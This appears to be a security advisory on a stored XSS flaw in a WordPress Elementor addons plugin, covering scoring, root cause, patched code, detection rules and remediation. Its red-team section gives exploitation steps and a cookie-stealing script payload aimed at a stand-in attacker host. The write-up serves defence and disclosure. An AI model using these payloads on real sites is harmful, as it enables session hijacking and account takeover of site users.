CVE-2024-3638

Executive Summary

CVE-2024-3638 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin (versions up to and including 8.4.1). The flaw resides in the plugin's Marquee Text Widget, Testimonials Widget, and Testimonial Slider widgets. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a victim user accesses a page containing the malicious widget.

This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%), indicating low active exploitation in the wild. No public exploit code or Nuclei template is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS can lead to session hijacking, defacement, or phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in three specific widgets provided by the plugin:

• Marquee Text Widget
• Testimonials Widget
• Testimonial Slider Widget

These widgets accept user-supplied attributes (e.g., text content, image URLs, CSS classes) that are not properly sanitized or escaped before being rendered in the page HTML. An attacker with contributor-level access can create or edit a page/post and insert one of these widgets with malicious JavaScript payloads in the attribute fields.

When the page is saved, the payload is stored in the WordPress database. Upon subsequent visits by any user (including administrators), the malicious script executes in the context of the victim's browser. This can lead to:

• Theft of session cookies
• Redirection to malicious sites
• Defacement of the site
• Phishing attacks

The root cause is the lack of proper output escaping (e.g., esc_attr(), esc_html(), or wp_kses()) on widget attributes before they are echoed into the HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Example from Testimonials Widget):

// In widget output function
echo '<div class="testimonial-text">' . $instance['testimonial_text'] . '</div>';

Here, $instance['testimonial_text'] is directly echoed without escaping, allowing injection of <script> tags.

Patched Code (Expected Fix):

echo '<div class="testimonial-text">' . esc_html( $instance['testimonial_text'] ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Elementor Addons by Livemesh <= 8.4.1
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one.
3. Add the "Testimonials" widget.
4. In the "Testimonial Text" field, enter:

   <script>alert('XSS')</script>
   

5. Save/publish the page.
6. When an admin or any user visits the page, the script executes.

Advanced Payload (Session Stealing):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget content in page/post revisions.
• Look for <script> tags in widget attribute fields in the database.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

• Update the plugin to a patched version (once available).
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins that scan for malicious content.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified page/post content containing <script> tags in widget attributes.
  • Suspicious entries in wp_postmeta table with meta_key like _elementor_data containing JavaScript.

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual referrer headers or user-agent strings.

• Log Indicators:

  • Repeated edits by contributor accounts on pages with widgets.
  • Error logs showing unexpected HTML/JavaScript in widget fields.

Detection Engineering

YARA Rule

rule CVE_2024_3638_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Elementor Addons by Livemesh widgets"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3638"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $widget_marker = /livemesh-elementor-addons/i
    condition:
        $widget_marker and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-3638 Stored XSS in Elementor Addons by Livemesh
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via widget attributes in WordPress
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains: 'livemesh_elementor_addons'
        http.body|contains|re: '<script[^>]*>.*?<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3638 Stored XSS in Elementor Addons by Livemesh"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"livemesh_elementor_addons"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version (if a patch is released).
2. Disable the vulnerable widgets (Marquee Text, Testimonials, Testimonial Slider) via plugin settings or code override.
3. Restrict contributor-level access to only trusted users.
4. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Measures:

• Enforce strict input validation and output escaping in all custom widgets.
• Conduct regular security audits of third-party plugins.
• Use WordPress security plugins (e.g., Wordfence, Sucuri) for real-time monitoring.
• Enable Content Security Policy (CSP) headers to limit script execution.

Patch Status: UNKNOWN / UNPATCHED. Monitor the plugin's official page for updates.

Valters IT
DevSecOps & Cyber Threat Intelligence